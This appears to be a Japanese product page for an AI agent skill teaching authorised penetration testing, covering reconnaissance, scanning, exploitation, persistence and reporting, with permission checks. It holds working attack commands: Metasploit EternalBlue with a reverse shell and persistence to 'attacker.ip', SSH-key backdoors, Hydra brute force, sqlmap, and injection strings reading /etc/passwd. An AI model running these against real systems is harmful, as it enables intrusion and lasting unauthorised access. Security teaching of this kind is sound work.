ethical-hacking-methodology について
許可を得たペネトレーションテスト向けのスキルです。偵察、スキャン、脆弱性分析、管理された検証、報告を案内し、書面での許可と範囲の確認、実行前の確認手順を重視します。
主な機能
- 01ペネトレーションテストの手順案内
- 02偵察とスキャンの方法
- 03脆弱性分析と検証
- 04証拠の管理と報告
- 05許可と範囲の保護策
活用シーン
- 01許可済みセキュリティ評価の計画
- 02脆弱性テストと証拠記録の整理
- 03技術・経営向け報告の作成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill ethical-hacking-methodologyインストール後、Claude Code で/ethical-hacking-methodologyを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認手順 対象を調査、悪用、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、次の手順を行ってください。
- ユーザーに、対象の正確な URL、IP アドレス、アカウント、またはリソースを明示するよう求めます。
- 書面による許可と許可された範囲を確認するようユーザーに求めます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話で明示的な確認を得るまで待ちます。
確認が得られない場合は、読み取り専用にとどめ、防御に関するガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。
許可された用途のみ:このスキルは、許可を得た侵入テスト、防御の検証、または管理された教育環境でのみ使用してください。
倫理的ハッキングの方法論
目的
偵察から報告まで、侵入テストのライフサイクル全体を習得します。このスキルでは、倫理的ハッキングの方法論における5つの段階、必須ツール、攻撃手法、許可を得たセキュリティ評価に向けた専門的な報告について扱います。
前提条件
必要な環境
- Kali Linux がインストールされていること(永続環境またはライブ環境)
- 許可された対象へのネットワークアクセス
- システム所有者からの書面による許可
必要な知識
- ネットワークの基本概念
- Linux のコマンドライン操作に関する知識
- Web 技術への理解
- セキュリティ概念に関する知識
成果物
- 偵察レポート - 収集した対象情報
- 脆弱性評価 - 特定した弱点
- エクスプロイトの証拠 - 攻撃の概念実証
- 最終レポート - 経営層向けおよび技術的な調査結果
基本ワークフロー
フェーズ1:ハッカーの種類を理解する
セキュリティ専門家の分類:
ホワイトハットハッカー(倫理的ハッカー)
- 許可を得たセキュリティ専門家
- 許可を得て侵入テストを実施
- 目的:脆弱性を特定し、修正する
- 別名:侵入テスト担当者、セキュリティコンサルタント
ブラックハットハッカー(悪意のあるハッカー)
- 許可を得ないシステム侵入
- 利益、報復、または悪名を動機とする
- 目的:データを盗み、損害を与える
- 別名:クラッカー、犯罪ハッカー
グレーハットハッカー(ハイブリッド)
- 倫理的な境界を越える場合がある
- 悪意はないものの、規則に違反する場合がある
- 脆弱性を公に開示することが多い
- 動機はさまざま
その他の分類
- スクリプトキディ:仕組みを理解せずに既成のツールを使用する
- ハクティビスト:政治的または社会的な動機を持つ
- 国家支援のハッカー:政府が支援する工作員
- コーダー:ツールやエクスプロイトを開発する
フェーズ2:偵察
第三者による受動的な調査と、DNS ルックアップやインフラに直接接触する可能性のあるツールを分けてください。DNS 列挙や dnsrecon が必ずしも受動的とは限りません。
受動的偵察
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google ハッキング(OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database のカテゴリ:
- パスワードを含むファイル
- 機密性の高いディレクトリ
- Web サーバーの検出
- 脆弱なサーバー
- エラーメッセージ
- ログインポータル
ソーシャルメディア偵察
- LinkedIn:組織図、使用技術
- Twitter:企業からのお知らせ、従業員情報
- Facebook:個人情報、つながり
- 求人情報:技術スタックに関する情報
フェーズ3:スキャン
対象システムのアクティブな列挙:
ホスト検出
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
ポートスキャン
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
サービス列挙
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
一般的なポートの一覧
| ポート | サービス | 備考 |
|---|---|---|
| 21 | FTP | ファイル転送 |
| 22 | SSH | セキュアシェル |
| 23 | Telnet | 暗号化されていないリモート接続 |
| 25 | SMTP | メール |
| 53 | DNS | 名前解決 |
| 80 | HTTP | Web |
| 443 | HTTPS | セキュアな Web |
| 445 | SMB | Windows 共有 |
| 3306 | MySQL | データベース |
| 3389 | RDP | リモートデスクトップ |
フェーズ 4:脆弱性分析
悪用可能な弱点を特定します:
自動スキャン
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.
Web アプリケーションテスト(OWASP)
- SQL インジェクション
- クロスサイトスクリプティング(XSS)
- 認証の不備
- セキュリティ設定の不備
- 機密データの漏えい
- XML 外部エンティティ(XXE)
- アクセス制御の不備
- 安全でないデシリアライゼーション
- 既知の脆弱性を持つコンポーネントの使用
- ログ記録と監視の不備
手動手法
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
フェーズ 5:エクスプロイト
発見した脆弱性を積極的に悪用します:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
パスワード攻撃
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web エクスプロイト
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
フェーズ 6:制御されたアクセスの検証
永続化は、通常の評価手順ではありません。使い捨てのラボを優先してください。永続化のシミュレーションには、別途明示的な許可範囲、有効期限、所有者が確認できる成果物、および検証済みのクリーンアップが必要です。ログを保持し、活動を決して隠さないでください。
バックドア
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.
権限昇格
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
証拠の保全とクリーンアップ
- 実施したすべての操作を記録します
- 報告用にログを保持します
- 不要なシステム変更を避けます
- テストファイルとバックドアを削除します
フェーズ 7:報告
調査結果を専門的な形で記録します:
レポートの構成
-
エグゼクティブサマリー
- 概要レベルの調査結果
- ビジネスへの影響
- リスク評価
- 修復の優先順位
-
技術的な調査結果
- 脆弱性の詳細
- 概念実証
- スクリーンショット/証拠
- 影響を受けるシステム
-
リスク評価
- 重大:直ちに対応が必要
- 高:24~48 時間以内に対応
- 中:1 週間以内に対応
- 低:1 か月以内に対応
- 情報:ベストプラクティスに関する推奨事項
-
修復の推奨事項
- 各調査結果に対する具体的な修正
- 短期的な緩和策
- 長期的な解決策
- 必要なリソース
-
付録
- 詳細なスキャン出力
- ツールの設定
- テストのスケジュール
- 範囲と方法論
フェーズ 8:一般的な攻撃の種類
フィッシング
- メールを使った認証情報の窃取
- 偽のログインページ
- 悪意のある添付ファイル
- ソーシャルエンジニアリング要素
マルウェアの種類
- ウイルス:自己複製し、ホストファイルを必要とします
- ワーム:ネットワークを介して自己拡散します
- トロイの木馬:正規のソフトウェアを装います
- ランサムウェア:身代金を要求するためにファイルを暗号化します
- ルートキット:システムレベルのアクセスを隠します
- スパイウェア:ユーザーの活動を監視します
ネットワーク攻撃
- 中間者攻撃(MITM)
- ARP スプーフィング
- DNS ポイズニング
- DDoS(分散型サービス拒否)
フェーズ 9:Kali Linux のセットアップ
ペネトレーションテスト用プラットフォームをインストールします:
ハードディスクへのインストール
- kali.org から ISO をダウンロードします
- インストールメディアから起動します
- 「Graphical Install」を選択します
- 言語、地域、キーボードを設定します
- ホスト名と root パスワードを設定します
- ディスクをパーティション分割します(ガイド付き - ディスク全体を使用)
- GRUB ブートローダーをインストールします
- 再起動してログインします
Live USB(永続化)
# Create bootable USB
# Destructive: verify ISO checksum, actual device identity and backup first.
# /dev/sdb is only a placeholder; selecting a system disk destroys data.
dd if=kali-linux.iso of=/dev/VERIFIED_USB_DEVICE bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
フェーズ 10:倫理ガイドライン
法的要件
- 書面による許可を取得します
- 範囲を明確に定義します
- すべてのテスト活動を記録します
- すべての調査結果をクライアントに報告します
- 機密を保持します
専門家としての行動
- 誠実さをもって倫理的に業務を行います
- アクセスしたデータのプライバシーを尊重します
- 不要なシステム損傷を避けます
- 計画したテストのみを実行します
- 調査結果を個人的な利益のために決して利用しません
クイックリファレンス
ペネトレーションテストのライフサイクル
| 段階 | 目的 | 主なツール |
|---|---|---|
| 偵察 | 情報を収集する | theHarvester、WHOIS、Google |
| スキャン | 対象を列挙する | Nmap、Nikto、Gobuster |
| エクスプロイト | アクセスを取得する | Metasploit、SQLMap、Hydra |
| アクセスの維持 | 永続化 | Meterpreter、SSH keys |
| 報告 | 調査結果を記録する | レポートテンプレート |
基本的なコマンド
| コマンド | 目的 |
|---|---|
nmap -sV target | ポートとサービスのスキャン |
nikto -h target | Web 脆弱性スキャン |
msfconsole | Metasploit を起動 |
hydra -l user -P list ssh://target | SSH ブルートフォース攻撃 |
sqlmap -u "url?id=1" --dbs | SQL インジェクション |
制約と制限
承認が必要
- 書面による許可なしにテストを実施しないでください
- 定められた範囲内で作業してください
- 許可されていないアクセスの試みは報告してください
プロフェッショナル基準
- ルール・オブ・エンゲージメントに従ってください
- クライアントの機密情報を保持してください
- 使用した手法を記録してください
- 実行可能な推奨事項を提示してください
トラブルシューティング
スキャンがブロックされる
解決策:
- スキャン速度を落とします
- 範囲、レート制限、合意したテスト元 IP を確認します
- 所有者と調整し、許可リストへの登録またはより安全なテスト時間帯を設定します
- 別途許可を得ずにブロック制御を回避しないでください
エクスプロイトが失敗する
解決策:
- 対象に脆弱性が存在することを確認します
- ペイロードの互換性を確認します
- エクスプロイトのパラメーターを調整します
- 別のエクスプロイトを試します
使用する場面
このスキルは、概要で説明されているワークフローまたはアクションを実行する際に適用できます。